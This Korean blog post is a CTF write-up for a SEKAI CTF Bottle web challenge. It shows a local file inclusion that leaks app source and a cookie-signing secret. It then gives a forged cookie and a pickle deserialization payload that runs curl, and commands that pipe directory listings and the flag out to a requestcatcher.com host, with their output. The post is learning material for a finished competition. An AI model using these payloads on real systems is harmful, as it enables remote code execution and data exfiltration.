링크를 클릭하자.
나의 병 속의 시들을 읽어라...?
일단 순서대로 링크를 타고 들어가보자.
Spring.
Auguries of Innocence.
The tiger.
음. 그냥 아름다운 시... 같은데.
앞글자들만 다 따서 모으면 Flag 가 되는걸까...
어. tiger 시 행 뒤쪽에 숫자가 있는데 뭘까.
여기까지가 CTF를 풀며 내가 작성했던 것인데 당시의 당혹감이 아주 잘 드러나있다.
정말 손도 못 댔어서 다시 보니 굉장히 부끄럽다.
Write Up에 따르면,
/show?id=spring.txt 처럼 파일을 읽고 있는 느낌이 있으므로,
/show?id=/etc/passwd 를 해 보면 빠져나올 수 있다.
LFI 취약점을 찾아야 한다.
응답의 server: WSGIServer/0.2 CPython/3.8.12 때문에 파이썬으로 작성되었다.
여러 가지를 하면 /show?id=/proc/self/cwd/app.py 코드가 빠진다.
(일본어를 번역한거라 맥락이 확실한지 모르겠다)
from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re
@route("/")
def home():
return template("index")
@route("/show")
def index():
response.content_type = "text/plain; charset=UTF-8"
param = request.query.id
if re.search("^../app", param):
return "No!!!!"
requested_path = os.path.join(os.getcwd() + "/poems", param)
try:
with open(requested_path) as f:
tfile = f.read()
except Exception as e:
return "No This Poems"
return tfile
@error(404)
def error404(error):
return template("error")
@route("/sign")
def index():
try:
session = request.get_cookie("name", secret=sekai)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=sekai)
return template("guest", name=session["name"])
if session["name"] == "admin":
return template("admin", name=session["name"])
except:
return "pls no hax"
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)
/sign으로 session["name"] == "admin"
되면 플래그를 얻을 수 있을 것으로 예상한다.
token에 secret을 사용하여 서명하는 것 같다.
from config.secret import sekai되어 있으므로, 이것도 LFI로 뽑는다.
GET /show?id=/proc/self/cwd/config/secret.py
sekai="Se3333KKKKKKAAAAIIIIILLLLovVVVVVV3333YYYYoooouuu"
적당히 코드를 써 쿠키를 만든다.
from bottle import route, run, template, request, response, error
import os
@route("/")
def home():
response.set_cookie("name", {"name": "admin"}, secret="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")
return "yeah"
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=1337)
만든 쿠키를 보내면 admin으로 넣지만 플래그가 나오지 않는다.
Cookie: name="!rsOwvUb6jllVHQVOPlZv5w==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFYWRtaW6Uc4aULg=="
음.
문제를 보면 추가로 기록되고 있던
Flag is executable on server.
RCE까지 연결하지 않으면 안 되는 듯 하다.
생각하면 일본어의 멋진 기사를 찾을 수 있다. (대충 다음 링크를 참고했다는 말인가봄)
[pickle 을 이용한 임의의 코드 실행과 Python Web Framework - mrtc0.log ]
name=guest cookie!o8siMrdaVf83giE8crJurg==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFZ3Vlc3SUc4aULg==
를 가져오면
import pickle;
from base64 import b64encode, b64decode
x = b'gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFZ3Vlc3SUc4aULg=='
x = b64decode(x)
x = pickle.loads(x)
print(x)
내용을 살펴보면 ('name', {'name': 'guest'}) 되는 것 같다.
https://github.com/bottlepy/bottle/blob/master/bottle.py#L1848-L1856
을 보면서 미묘하게 코드를 변경하여 새 쿠키를 만든다.
import pickle, subprocess, base64, hmac, requests, sys
import hashlib
class getpasswd(object):
def __reduce__(self):
return (subprocess.check_output, (('bash','-c', 'curl https://abc.requestcatcher.com/test/'),))
p = pickle.dumps(('name', getpasswd()))
msg = base64.b64encode(p)
sig = base64.b64encode(hmac.new(b"Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu", msg, digestmod=hashlib.md5).digest())
c = b'!'+sig+b'?'+msg
print(c)
requestcatcher로 리퀘스트를 기다려 cookie의 name에 넣고,
/sign에 리퀘스트를 날리면 RCE 할 수 있는 것을 확인 가능하다.
그리고 탐색하면 플래그를 손에 넣을 수 있다www.
ls -la / | curl https://abcc.requestcatcher.com/test/ -X POST -d @-
total 80
drwxr-xr-x 1 root root 4096 Oct 1 11:28 .
drwxr-xr-x 1 root root 4096 Oct 1 11:28 ..
drwxr-xr-x 1 root root 4096 Sep 30 17:27 app
drwxr-xr-x 1 root root 4096 Mar 1 2022 bin
drwxr-xr-x 2 root root 4096 Dec 11 2021 boot
drwxr-xr-x 5 root root 360 Oct 1 11:28 dev
drwxr-xr-x 1 root root 4096 Oct 1 11:28 etc
---x--x--x 1 root root 568 Sep 15 06:37 flag
drwxr-xr-x 2 root root 4096 Dec 11 2021 home
drwxr-xr-x 1 root root 4096 Mar 1 2022 lib
drwxr-xr-x 2 root root 4096 Feb 28 2022 lib64
drwxr-xr-x 2 root root 4096 Feb 28 2022 media
drwxr-xr-x 2 root root 4096 Feb 28 2022 mnt
drwxr-xr-x 2 root root 4096 Feb 28 2022 opt
dr-xr-xr-x 311 root root 0 Oct 1 11:28 proc
drwx------ 1 root root 4096 Sep 29 20:22 root
drwxr-xr-x 3 root root 4096 Feb 28 2022 run
drwxr-xr-x 1 root root 4096 Mar 1 2022 sbin
drwxr-xr-x 2 root root 4096 Feb 28 2022 srv
dr-xr-xr-x 13 root root 0 Sep 30 19:00 sys
drwxrwxrwt 1 root root 4096 Sep 29 20:22 tmp
drwxr-xr-x 1 root root 4096 Feb 28 2022 usr
drwxr-xr-x 1 root root 4096 Feb 28 2022 var
/flag | curl https://abcc.requestcatcher.com/test/ -X POST -d @-
SEKAI{W3lcome_To_Our_Bottle}
사실 제대로 이해를 한게 맞는지 헷갈리는 부분이 많은 것 같아서 어설프게나마 시도해보려고 했는데,
CTF가 종료되어서 해당 사이트에 접속할 수가 없다...
CTF가 종료되자마자 Write Up이 공개되기도 전에 바로 닫히는 것인지,
단지 시간이 너무 지나서 닫힌 것인지 알 수 없지만...
후자라면 다음부터는 닫히기 전에 작성해야겠다.
전자라면... Write Up을 안보고도 풀 수 있게 되는 그날까지 화이팅!
'CTF > SEKAI CTF' 카테고리의 다른 글
[Programmig(PPC)] Let's Play Osu!Mania (0) | 2022.11.18 |
---|---|
[Rev] Matrix Lab 1 (0) | 2022.10.01 |